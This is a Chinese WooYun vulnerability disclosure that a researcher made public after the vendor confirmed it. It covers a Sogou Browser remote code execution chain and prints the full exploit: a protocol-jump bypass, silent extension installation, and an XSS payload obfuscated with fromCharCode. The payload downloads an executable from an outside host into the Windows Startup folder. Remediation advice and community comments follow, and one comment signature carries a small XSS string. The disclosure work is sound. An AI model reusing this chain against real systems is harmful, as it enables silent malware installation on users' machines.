当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089575

漏洞标题:搜狗浏览器远程命令执行之四

相关厂商:搜狗

漏洞作者: gainover

提交时间:2015-01-01 08:53

修复时间:2015-04-01 08:54

公开时间:2015-04-01 08:54

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-01: 细节已通知厂商并且等待厂商处理中
2015-01-04: 厂商已经确认,细节仅向厂商公开
2015-01-07: 细节向第三方安全合作伙伴开放
2015-02-28: 细节向核心白帽子及相关领域专家公开
2015-03-10: 细节向普通白帽子公开
2015-03-20: 细节向实习白帽子公开
2015-04-01: 细节向公众公开

简要描述:

下载了最新版本:5.1.7.15549。 继续换个姿势绕过搜狗的修复措施,然后结合其它漏洞点,导致可以远程下载任意程序至本地任意指定目录。

详细说明:

1. 接着上一回说,搜狗浏览器修复了上一个漏洞里的几项内容:
A. 修复了window.open+location.href跳转至 se-extension:// 协议的问题。
B. 修复了balloon.html的xss,对postMessage所传入的url参数进行了判断。
C. 修复了npapi所提供的startExe函数可以调用任意程序的漏洞。
2. 那么是否问题得到了根本性的解决了?我们来一一绕过试试~
A. 首先是协议跳转的绕过,虽然window.open和location.href是不行了,但是下面的代码呢?

var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext740107210/html/balloon.html";document.body.appendChild(f);f.click();


在 *.sogou.com 域下的页面来执行以上代码,其它域会被弹窗拦截机制拦截。
可以看到,我们通过模拟点击页面的a标签,又可以跳转到se-extension://协议下了。
B. 然后我们需要找到se-extension://协议下的XSS,然后搜狗浏览器自带的插件毕竟数量有限,XSS总是会被找完的啊,事实也确实如此,简单找了一圈,也没有发现自带的插件里有什么好用的XSS点。
那么,我们是否可以看看应用市场的其它插件呢?那里的插件数量多。
但是要用到这些插件里的XSS,我们必须让用户装上这些插件才行。于是首先得看看搜狗是否具有静默安装插件的接口,寻找了一圈,还真发现了一个API接口,如下:。

window.external.extension("installExtFromSidebarBox", "com.qq.AccountProtect", "1.0.6", "test", '-1', 'undefined', 'undefined', "function(){console.log(arguments);}");


这个是搜狗安装侧边栏插件的接口,静默安装,不会有用户交互,其中com.qq.AccountProtect为插件的ID,接口会自动通过该ID到服务器上查询插件的地址并执行静默安装。
C. 既然可以静默安装任意搜狗插件市场里的插件,接着我们的目标就是在这些插件里找到XSS,并且最好这个插件里包含有一些可以操作本地资源的API,比如下载,执行命令等。
寻找过程就不细说了, 最终我们找到了一个插件:com.sogou.cxj009.PicViewer
这个插件存在一个XSS漏洞,这里我就不具体分析XSS漏洞的成因了,从下图可以看出,该插件的页面v.html会将当前浏览器中所有打开的页面标题输出到页面中,且输出时未过滤,如下图所示:

2.jpg


同时,该插件还调用了一个dll,提供了一个download函数,我们可以通过上一篇漏洞中所描述的调用背景页中API接口的方式来调用该download函数。由于该download函数在下载路径以及下载来源上未做任何判断。我们可以利用该函数来下载任意程序到本地。代码如下:

sogouExplorer.runtime.getBackgroundPage().document.getElementById("picdownloader").download("http://www.baidu.com/","c:\\1.exe", function(e){});


------------------------------------------------------------------
综上,我们可以写出具体的利用代码:
1. 寻找一个 sogou.com域下的xss漏洞。 调用外部的sogou4.js, 用来跳转至 se-extension:// 协议。

<script>
window.name="if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou4.js?'+Math.random();document.body.appendChild(s);}";
location.href="http://ie.sogou.com/app/js/uploadify/uploadify.swf?uploadifyID=%22));}catch(e){}function%20jQuery(){};(function(){eval(window.name)})()//";
</script>


2. sogou4.js 文件内容

function runCmd(){
document.title="<img src onerror=eval(URL.substr(37))>";
if(/Windows NT 6/.test(navigator.userAgent)){
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,112,111,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,80,114,111,103,114,97,109,68,97,116,97,92,92,77,105,99,114,111,115,111,102,116,92,92,87,105,110,100,111,119,115,92,92,83,116,97,114,116,32,77,101,110,117,92,92,80,114,111,103,114,97,109,115,92,92,83,116,97,114,116,117,112,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41,59))";document.body.appendChild(f);f.click();
}else{
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,112,111,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,68,111,99,117,109,101,110,116,115,32,97,110,100,32,83,101,116,116,105,110,103,115,92,92,65,100,109,105,110,105,115,116,114,97,116,111,114,92,92,12300,24320,22987,12301,33756,21333,92,92,31243,24207,92,92,21551,21160,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41,59))";document.body.appendChild(f);f.click();
}
}
window.external.extension("installExtFromSidebarBox", "com.sogou.cxj009.PicViewer", "1.0.6", "玩游戏", '-1', 'undefined', 'undefined', "function(){runCmd()}");


上面的代码,首先会通过 installExtFromSidebarBox 静默安装 com.sogou.cxj009.PicViewer 插件。接着在回调函数里调用 runCmd 函数
3. runCmd 函数中, 首先将当前页面的 document.title 设置为XSS代码。XSS代码长度有限制,所以采用了eval(URL.. 的方式 。 接着利用前面说到的绕过技巧,跳转到插件的URL上,由于插件也没存在XSS,会执行我们的XSS代码,即上面eval部分的代码:

sogouExplorer.runtime.getBackgroundPage().document.getElementById("picdownloader").download("http://xsst.sinaapp.com/poc/calc.exe","C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\calc.exe", function(e){});


最终效果见漏洞证明,可以看到 calc.exe 被下载到启动目录。

漏洞证明:

XP下测试效果如下:

3.jpg


win7下关闭UAC,或搜狗浏览器以管理员身份运行时也可以写入到启动目录。

1.jpg

修复方案:

1. 继续修复协议跳转漏洞。
2. 对静默安装插件的API进行一些安全考虑
3. 修复com.sogou.cxj009.PicViewer的XSS漏洞,对npapi提供的一些函数做出安全考虑
4. 修复http://ie.sogou.com/app/js/uploadify/uploadify.swf这个XSS

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-01-04 10:59

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-01 08:59 | Focusstart ( 普通白帽子 | Rank:574 漏洞数:163 | 努力让某某某成为最幸福的女人!)

    二哥2015第一发就拿搜狗开刀

  2. 2015-01-01 09:00 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    又来了又来乐了 让你不给20rank 元旦加班去吧 再不给20rank 春节加班

  3. 2015-01-01 09:31 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    表示,又是中/给的又是5。 二哥新年第一炮打响了,能给下联系方式么?

  4. 2015-01-01 09:47 | backtrack丶yao ( 普通白帽子 | Rank:290 漏洞数:107 | "><img src=x onerror=alert(666666);> <im...)

    新年第一炮

  5. 2015-01-01 09:56 | 大亮 ( 普通白帽子 | Rank:306 漏洞数:65 | 慢慢挖洞)

    标记,看搜狗给多少rank

  6. 2015-01-01 10:02 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    打响新年的第一炮漏洞

  7. 2015-01-01 11:23 | 轨迹 ( 路人 | Rank:5 漏洞数:3 | 321)

    @本山 搜你一下~

  8. 2015-01-01 11:44 | 狼狗 ( 路人 | 还没有发布任何漏洞 | 我来到这里是为了国家各个互联网安全。学习...)

    好棒2015年第一天就搜狗裤子给脱了

  9. 2015-01-01 12:36 | bey0nd ( 普通白帽子 | Rank:895 漏洞数:142 | 相忘于江湖,不如相濡以沫)

    打响新年的第一炮

  10. 2015-01-01 17:16 | 颖奇 ( 路人 | Rank:1 漏洞数:2 | 专注于Wireless Security的技术研究。)

    二哥带套了没

  11. 2015-01-01 17:32 | Non-polar ( 实习白帽子 | Rank:34 漏洞数:16 | 只要还有明天,今天就永远是起跑线)

    围观新年第一炮

  12. 2015-01-01 22:14 | Aphxg ( 路人 | Rank:6 漏洞数:2 )

    二哥不亏是我的偶像。二哥在手,天下我有。

  13. 2015-01-04 11:11 | f4ck ( 实习白帽子 | Rank:42 漏洞数:7 | 有些人很牛B,一个漏洞能刷成N个。)

    二哥,新年第一炮。

  14. 2015-01-04 11:12 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    5、8、5、6。目测再提交的话 就又会回归5rank了!

  15. 2015-01-04 16:32 | 伟大娃娃 ( 普通白帽子 | Rank:130 漏洞数:10 | 改变世界)

    每逢佳节发漏洞.

  16. 2015-01-04 18:21 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @伟大娃娃 每逢佳节倍思精

  17. 2015-01-04 18:29 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    @gainover 二哥搜狗什么意思?岂能6rank?不应该一般5rank么

  18. 2015-01-05 20:49 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  19. 2015-01-09 17:18 | 胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)

    @gainover 我看到亮点了

  20. 2015-02-09 16:29 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    做等春节连载

  21. 2015-04-01 10:32 | 静默 ( 路人 | Rank:8 漏洞数:6 | 安全小白)

    这次竟然没说让去搜狗的src啊